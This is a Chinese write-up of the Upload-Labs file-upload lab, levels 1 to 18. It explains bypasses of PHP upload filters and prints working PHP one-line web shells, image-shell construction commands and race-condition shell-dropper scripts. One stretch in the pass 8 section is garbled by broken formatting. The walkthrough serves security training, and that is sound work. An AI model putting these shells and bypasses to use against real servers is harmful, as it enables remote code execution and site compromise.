目录

Upload-Labs-Linux-1-20

目录

Upload-Labs-Linux 1-20

  1. 前端校验绕过:pass 01

    1. 两种思路:1.通过抓包,修改后缀 2.前端禁用js绕过前端后缀检验
      1. 首先写一个木马,改为图片格式 GIF89a<?php eval($_POST['cmd'])?> 抓包之后改为PHP格式: https://i-blog.csdnimg.cn/img_convert/2ab53734979674d15e027fa84cf29da6.png
    2. 使用蚁剑连接木马,第一次尝试一直是返回数据为空,原因是没有链接到木马,于是寻找木马地址,在抓包返回的页面里,查看js源码得到木马地址, https://i-blog.csdnimg.cn/img_convert/4a97411bc2d4b42d7692159974cec4b3.png 连接成功可以进入后台: https://i-blog.csdnimg.cn/img_convert/3c16f4649c43327ab6b658e94a33e434.png 后台:(后面不再显示) https://i-blog.csdnimg.cn/img_convert/11f190bea0ea04ca0c94057ab4030753.png
  2. 前端绕过:pass 02

    1. 可以看到源码仅仅对文件的后缀名进行了检验: if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) ,因此做法同第一题所述方法一致,不再演示: https://i-blog.csdnimg.cn/img_convert/4257007a14eb10ab8671f8dcc47b6dc2.png
  3. 前端后缀名绕过:pass 03:

    1. 第三关增加了对于上传的图片文件的后缀检查,如果是php asp等均不可行,但是由于phtml也可以服务器正确解析为PHP,于是乎,可以利用phtml进行绕过,上传文件操作与之前类似,只需要将后缀改为phtml即可 https://i-blog.csdnimg.cn/img_convert/a4fedcc8f1e9a1d255f7d6a6b35aba1d.png
  4. pass 04:通过htacess文件使得png文件被解析为PHP文件:

    1. 首先上传木马,通过bp修改后缀,上传图片马
    2. 上传htacess配置文件,同样首先是将png后缀改为正常后缀,返回,使用蚁剑 链接木马得到: https://i-blog.csdnimg.cn/img_convert/e6941ee9b8d56a0b79965464d4bdd50e.png
  5. pass 05:大小写绕过

    1. 可以看到这道题的源码里面过滤了很多组合,但是没有过过滤纯大写组合,于是可以通过PHP后缀来绕过: https://i-blog.csdnimg.cn/img_convert/4a18147a1fff0bcf9f0221e3b233a8a9.png 通过bp抓包,将后缀改为PHP,于是可以看到成功上传,但是这里的地址注意,后端重新改写了文件的地址,要通过查看文件内容查看: https://i-blog.csdnimg.cn/img_convert/7e8d6ad4f9971df89a2be367fc3c21bd.png
  6. pass 06:空格绕过:

    1. 这里将大小写过滤了,那就不能通过大小写过滤了, https://i-blog.csdnimg.cn/img_convert/ffc7799024d9be15e3be6ff159c4653c.png 于是想想其他方法,试试user.ini 文件:先上传一个user.ini文件修改后缀png为正常后缀在,上传一个图片马: https://i-blog.csdnimg.cn/img_convert/a9b9e2b575260cd8f9edd64ab299fb23.png 接下来查看上传图片马的位置: https://i-blog.csdnimg.cn/img_convert/797117c4f15a9e56fe94eb5442b357d4.png 通过蚁剑进行访问:这里没有成功,也就跟换方法,查看这一关的代码与上一关进行对比,发现少了一个去空格处理,那么我们就可以通过在文件后缀名添加空格进行解决:(不要直接修改文件后缀名,系统会自动去除,要在bp里面去除): https://i-blog.csdnimg.cn/img_convert/e180463f3793f7df14d0a38acfe683d2.png 后面通过蚁剑连接即可
  7. pass 07:.绕过过滤

    1. https://i-blog.csdnimg.cn/img_convert/50f6b27d6516fb02de2de06aa0d6d7e8.png 观察源码可以发现,这里没有对点号进行删除,那么只需要在文件末尾加点号即可绕过: https://i-blog.csdnimg.cn/img_convert/301cf7f34e392c4cdc095210c2870e25.png 进入后台: https://i-blog.csdnimg.cn/img_convert/9de62fd139046fa5f7f766a63ad8b90e.png
  8. pass 08:::$DATA 拓展名绕过

    1. 分析代码,发现少了一行: https://i-blog.csdnimg.cn/img_convert/9540c3fa4734fbbc2dc9e6414f055136.png 没有: $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA ,由于这个::

      D A T A 是一个特殊字段,通常可以通过添加在文件拓展名后面,绕过对文件拓展名的检验: ‘ ∗ ∗ 在 w i n d o w s 环境下,不光会自动去除文件末尾的点和空格,同时 ( : : DATA是一个特殊字段,通常可以通过添加在文件拓展名后面,绕过对文件拓展名的检验:`**在windows环境下,不光会自动去除文件末尾的点和空格,同时(::

      D

      A

      T

      A

      是一个特殊字段,通常可以通过添加在文件拓展名后面,绕过对文件拓展名的检验:

      w

      in

      d

      o

      w

      s

      环境下,不光会自动去除文件末尾的点和空格,同时

      (

      :: DATA)这个字符串,windows也会认为是非法字符,默认去除掉,即直接原名php**`**,**那么就可以通过bp抓包添加后缀::$DATA来解决, https://i-blog.csdnimg.cn/img_convert/5aae5e3f35a22989995d6b7c7c9b7c79.png 之后连接直接去除后缀即可: https://i-blog.csdnimg.cn/img_convert/1bb6808e9e6097a9a8f6963578f71809.png

  9. pass 09:代码审计

    1. https://i-blog.csdnimg.cn/img_convert/0f761194b99e06dde33868037dd034db.png 由于这里只过滤一次点号,那么就可以使用两个.来进行绕过:由于删除.之后,还会对点号后的后缀内容进行检验,于是我们在最后一个添加的点号那里进行添加空格,再加一个点号就可以绕过:于是将bp抓包,后缀修改为: PHP. . https://i-blog.csdnimg.cn/img_convert/930645dd6e2ca9d6a2e9301f518406ad.png 后面蚁剑连接即可
  10. pass 10:

    1. 核心漏洞 https://i-blog.csdnimg.cn/img_convert/99aa504d5f26e1fbe4dbf0ae85db0287.png 这里就可以通过双写绕过:于是可以通过bp修改后缀为pphphp,得到10.php: https://i-blog.csdnimg.cn/img_convert/11b29f924ce51499964c2686fb30a91f.png 蚁剑连接: https://i-blog.csdnimg.cn/img_convert/ca458f6c4ec9326687f539940d4aebe2.png
  11. pass 11:

    1. 漏洞描述:白名单过滤,文件保存目录可控
    2. 核心代码
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
2. 逐句解析:`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$ext_arr</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">=</font><font style="color:rgb(215, 58, 73);background-color:rgb(250, 250, 250);">array</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'jpg'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">,</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'png'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">,</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'gif'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">);</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">这里设置白名单,表示后缀允许的范围,</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$file_ext</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">=</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">substr</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$_FILES</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">[</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'upload_file'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">][</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'name'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">],</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">strrpos</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$_FILES</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">[</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'upload_file'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">][</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'name'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">],</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">"."</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">)</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">+</font><font style="color:rgb(0, 92, 197);background-color:rgb(250, 250, 250);">1</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">);</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">这句首先整体上是一个字符串截取</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">substr</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">,源字符串是从全局数组$_FILES中寻找所有上传文件的名字,从最后一个点号之后的位置加1,截取这个位置之后的字符串,也就是获取拓展名,</font>`<font style="color:rgb(215, 58, 73);background-color:rgb(250, 250, 250);">if</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">in_array</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$file_ext</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">,</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$ext_arr</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">))</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">判断获取的拓展名在不在白名单里面,在php中,上传一个文件之后,PHP会在服务器上面临时储存这个文件,</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$temp_file</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">=</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$_FILES</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">[</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'upload_file'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">][</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'tmp_name'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">];</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">这句访问临时文件文件名,并且将其赋值给一个新的临时文件名,一般后面都会进行移动到一个更为持久的位置,</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$img_path</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">=</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$_GET</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">[</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'save_path'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">]</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">"/"</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">rand</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(0, 92, 197);background-color:rgb(250, 250, 250);">10</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">,</font><font style="color:rgb(0, 92, 197);background-color:rgb(250, 250, 250);">99</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">)</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">date</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">"YmdHis"</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">)</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">"."</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$file_ext</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">;</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">这里就是先生成一个文件路径根据种子值随机生成,</font>`<font style="color:rgb(215, 58, 73);background-color:rgb(250, 250, 250);">if</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">move_uploaded_file</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$temp_file</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">,</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$img_path</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">))</font>`<font style="color:#000000;background-color:rgb(250, 250, 250);">判断文件是否成功移动到$img_path。代码解析结束,分析漏洞:</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$img_path</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">=</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$_GET</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">[</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'save_path'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">]</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">"/"</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">rand</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(0, 92, 197);background-color:rgb(250, 250, 250);">10</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">,</font><font style="color:rgb(0, 92, 197);background-color:rgb(250, 250, 250);">99</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">)</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">date</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">"YmdHis"</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">)</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">"."</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">.</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$file_ext</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">;</font>`<font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">这里使用了白名单过滤,并且保存路径可控,保存路径为get参数加/加随机数文件名,于是可以通过%00截断(用在url中),原理:由于windows系统使用C语言编写的,c语言读取字符串会以null为结束符,例如:111.php%00afdf在url中只会读取到111.php,由于保存路径可控,那么我们就可以通过%00截断让后面的路径无效,于是结题步骤如下:</font>
3. <font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">上传图片马,bp抓包改get参数,</font>![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1740886538291-9de8a424-b8b8-4cf1-84ea-dcf2bf61cc6c.png)
  1. pass 12:
    1. 漏洞描述:白名单过滤,文件保存目录可控
    2. 本题寓上一题类似,将get改为了post,于是我们需要将参数改为post上传, https://i-blog.csdnimg.cn/img_convert/994f34c03328ae2f69a9efe9056f2288.png 由于不是在url中,那么就设置为1.php0x00,但是这样会发现有问题,于是查看了大佬的wp,要在bp里面进行修改,0x00不可见 https://i-blog.csdnimg.cn/img_convert/af1800e025e66fc656a9af9afe36620a.png
  2. pass 13:
    1. 漏洞描述:结合文件包含漏洞,通过图片文件头绕过
    2. 核心代码:
function getReailFileType($filename){
    $file = fopen($filename, "rb");//文件的前几个字节(即文件的魔术数字)
    $bin = fread($file, 2); //只读2字节
    fclose($file);//关闭文件
    $strInfo = @unpack("C2chars", $bin);//使用 unpack() 函数将读取的 2 字节数据 $bin 解包为一个数组。解包格式 C2chars 表示将数据解包成两个无符号字符(C),并将其存储在 chars1 和 chars2 索引中。    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);   //j将两个无符号数转换为整数 
    $fileType = '';//创建文件类型变量,用于记录文件拓展名    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';//如果 $typeCode 等于 255216(代表 JPEG 文件的魔术数字),则将 $fileType 赋值为 'jpg'。
            break;
        case 13780:            
            $fileType = 'png';//如果 $typeCode 等于 13780(代表 PNG 文件的魔术数字),则将 $fileType 赋值为 'png'。
            break;        
        case 7173:            
            $fileType = 'gif';//如果 $typeCode 等于 7173(代表 GIF 文件的魔术数字),则将 $fileType 赋值为 'gif'。
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}
2. 漏洞剖析:题目要求:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1740914389527-0cb695fe-cd5d-4586-8888-b4651a764c27.png)还给了提示要用文件包含漏洞,根据题目要求,我们应该上传文件头属于这三种问价对应的文件头才可以,于是这里才是真正的图片马,首先写好一个PHP文件,然后通过十六进制文本编辑器修改文件头,这里修改为png的文件头:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1740916981679-b7d9651c-91bb-446f-85ce-f335143957b9.png)我们上传之后发现使用意见链接,但是无效,于是看到题目提示,说是可以利用文件包含漏洞,于是我们进去之后发现要get一个参数,include函数会将其文件已php的形式解析,于是我们上传get参数:`[http://d293a590-362b-479c-b288-7d2ad1c05702.node5.buuoj.cn:81/include.php?file=./upload/3820250302115650.png](http://d293a590-362b-479c-b288-7d2ad1c05702.node5.buuoj.cn:81/include.php?file=./upload/3820250302115650.png)`成功连接蚁剑,进入后台:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1740917113014-c8f36b0e-9a6e-4ef2-bfed-312f624d048f.png)
3. 知识点:常见文件格式的文件头字节标识:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1740914601675-374e1ad4-d330-4771-b834-8dc733a8e2c8.png)
  1. pass 14:图片马绕过
    1. 漏洞描述:图片马+文件包含漏洞:
function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
//使用getimagesize函数获取文件名对应的文件信息,其执行流程首先查看文件头,然后判断后面的字节是否符合图片内容,不符合直接返回false,它可以从图像文件中提取出多个信息,包括图像的宽度、高度、类型、MIME 类型和额外的文件属性等。返回类型是一个数组:宽度: 图像的宽度(以像素为单位)
// 高度: 图像的高度(以像素为单位)
// 组件类型: 图像的类型(使用常量表示,如 IMAGETYPE_JPEG、IMAGETYPE_PNG 等)
// MIME 类型: 图像的 MIME 类型字符串(例如 'image/jpeg' 或 'image/png')
// 其他信息(如图像的颜色深度等)
//例如:Array
// (
//     [0] => 800        // 宽度
//     [1] => 600        // 高度
//     [2] => 2          // 图像类型(jpeg)
//     [3] => width="800" height="600"  // 用于HTML的字符串
//     [mime] => image/jpeg  // MIME类型
// )
        $ext = image_type_to_extension($info[2]);//返回数组下标为2对应的图片类型
        if(stripos($types,$ext)>=0){
            return $ext;//如果在白名单数组里面,即可成功绕过
        }else{
            return false;
        }
    }else{
        return false;
    }
}
2. 这里主要要<font style="background-color:#1DC0C9;">绕过的函数为getimagesize函数,由于其会对文件内容进行解析</font>,于是我们就不能单纯的修改文件头,要重新生成图片马:使用copy命令,将php木马加到图片后面:`copy 有点意思.jpg/b+1.php hack.jpg`![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1740919266747-746d9290-70c2-4fe8-b828-9aa846ed2be0.png)---注意一定不要用命令行打开,要用cmd打开,生成一个hack.jpg的文件,使用这个来进行文件包含即可![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1740919299643-28b723a5-a01e-488a-8762-017c2a18f101.png)使用蚁剑连接:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1740919315619-7e3b0886-e8a9-4dac-8285-24ca184ad1ea.png)
3. 可以看出getimagesize函数其实并不是很严格,webp后缀也成功了
  1. pass 15:
    1. 核心源码
function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}
2. 函数exif_imagetype函数会更加严格,判断也会更快,这里就要使用更加纯正的jpg文件了,于是我们生成图片马:`copy haha.jpg/b+1.php hack.jpg`![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1740920239688-358f7336-98f2-404f-b5b6-be07647651b8.png)通过文件包含漏洞结合蚁剑连接即可。
3. 知识点:函数exif_imagetype返回值也是一个数字,这个函数从给定的文件中读取图像的头信息,返回一个常量值(数字),这个常量表示图像的类型,例如 JPEG、PNG 或 GIF 等。  
  1. pass 16:二次渲染绕过
    1. 漏洞描述:服务器对图片马进行了一次渲染过后不会对其进行二次渲染
    2. 题目核心代码:
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片,这里会对文件的一部分字节进行改写,也就是渲染
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
3. 绕过方案:
    1. 一种是通过源文件和上传到服务器的文件进行对比,发现大部分一样的地方就是服务器渲染的时候会保留的字节,于是只需要在这一部分进行插入一句话木马
    2. 另一种是对服务器上传的图片进进行二次渲染,进行对比,同样的地方插入一句话木马
4. 操作演示:生成图片马,找相同的位置进行木马插入![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1740927674237-e020a6e3-c0f4-4b06-98ba-ce416f0684a0.png)上传进行文件包含即可![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1740927741946-2a240577-70e1-4908-b8bd-6337ca885f24.png)![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1740927745958-46512e04-f678-4e54-b8de-bd7f70d460d3.png)利用蚁剑进行连接:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1740927780425-b1c8fac6-64dd-4f1a-9b29-becb990502e5.png)
  1. pass 17:
    1. 漏洞描述:对上传文件的处理是先移动再判断文件名是否合法,那么就可以利用移动到删除这 时间差进行竞争,赶在删除之前进行访问,从而让小马成功生成。
    2. 审计代码:
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');//白名单
    $file_name = $_FILES['upload_file']['name'];//得到文件名
    $temp_file = $_FILES['upload_file']['tmp_name'];//临时文件名
    $file_ext = substr($file_name,strrpos($file_name,".")+1);//得到后缀(不带.)
    $upload_file = UPLOAD_PATH . '/' . $file_name;//得到上传路径
//这里文件已经上传到服务器上,服务器会判断文件是否合法,不合法的话,会对文件进行删除操作下面进行判断,文件类型是否在白名单里面
    if(move_uploaded_file($temp_file, $upload_file)){//是否将临时文件移动到上传文件目录里
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}
3. 这里有一个点:对于任意类型的文件上传到服务器上的话,服务器都会先将其保存为临时文件,在对文件进行判断,如果文件合法的话,则不会删除,不合法就会删除,这个临时文件存在一个极小的生命周期,如果能在被删除之前访问,就可以利用临时文件
4. 于是我们要上传一个木马上去,但是在利用的时候,文件会被校验到,于是我们需要写一个木马,使得其能在这段极小的时间以内执行,写一段生成小马的php代码:保存为create.php`<?php fputs(fopen('shell.php','w'));'<php @eval($_POST['cmd'])>'?>`也可以使用`<font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);"><?</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">php</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$str</font><font style="color:rgb(225, 0, 35);background-color:rgb(250, 250, 250);">=</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'GIF89a <?php @eval($_POST["cmd"]); ?>'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">;</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">file_put_contents</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">(</font><font style="color:rgb(102, 153, 0);background-color:rgb(250, 250, 250);">'mama.php'</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">,</font><font style="color:rgb(35, 41, 48);background-color:rgb(250, 250, 250);">$str</font><font style="color:rgb(38, 38, 38);background-color:rgb(250, 250, 250);">);</font><font style="color:rgb(31, 127, 154);background-color:rgb(250, 250, 250);">?></font>`
5. ![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1740964833303-5b19bd19-6d80-4f5d-bf1e-08d5af42dbb2.png)
fopen('shell.php', 'w'): 这个函数试图以写入模式打开一个名为 shell.php 的文件。如果这个文件不存在,则会创建一个新文件。
fputs(...): 这个函数用于将数据写入到文件中。这里,它的参数尚不完整,因为 fputs 需要两个参数:文件句柄和要写入的数据。
'<php @eval($_POST['cmd'])>': 这部分代码意图是生成一段 PHP 代码,内容是:
<?php @eval($_POST['cmd']); ?>
5. 上传create.php文件并且使用bp抓包,短时间内多次上传,![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1741002873434-9868ad2b-9368-401d-a654-1d74b6157607.png)然后访问create.php文件,再次抓包:多次访问,两者进行竞争,最终一旦访问成功,就会在服务器生成一个shell.php文件![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1741002850373-6797117a-5291-4c03-a980-e2404d19ab2b.png)在用蚁剑连接即可:![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1741002985670-086bff63-eaf0-4f31-a000-3c8ede73b2b5.png)
  1. pass 18:
    1. 漏洞描述:这个题目也是先判断文件后缀是否合法,然后再对文件进行重新命名,于是仍然可以利用Apache解析漏洞和条件竞争进行绕过。
    2. 题目核心代码:
**/检查文件是否被上传
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }
//文件目录是否被设置
    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }
//检验文件后缀名
    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }
//检验文件大小
    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
 //检验这类文件是否存在   
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination
//移动文件
    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file
//对class_rename_file是否为1,如果是,那么就对其重命名,返回其状态码,如果不是1的话,那么就返回上传结果状态码
    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)
//成功!
    return $this->resultUpload( "SUCCESS" );
  
  }
3. 通过这里我们可以分析到,整个上传文件的方法是先判断文件后缀是否合法,这里仅仅只是获得文件的最后哦一个后缀,然后检验合法之后再对齐进行文件重命名操作,但是重命名的话就直接是最后一个后缀名+时间戳的方式,我们可以利用上传文件到重命名的时间差进行访问文件,我们知道,Apache解析文件的时候会对文件后缀从右往左进行解析,那么我们只需要使用一个Apache解析不了的文件,让他往左进行,从而执行PHP代码,比如生成一个小马之类的。
4. 开干:先写一个能生成小马的文件,`generate.php`
<?php 
$str='GIF89a
<?php @eval($_POST["cmd"]); ?>';
file_put_contents('mama.php',$str);
?>
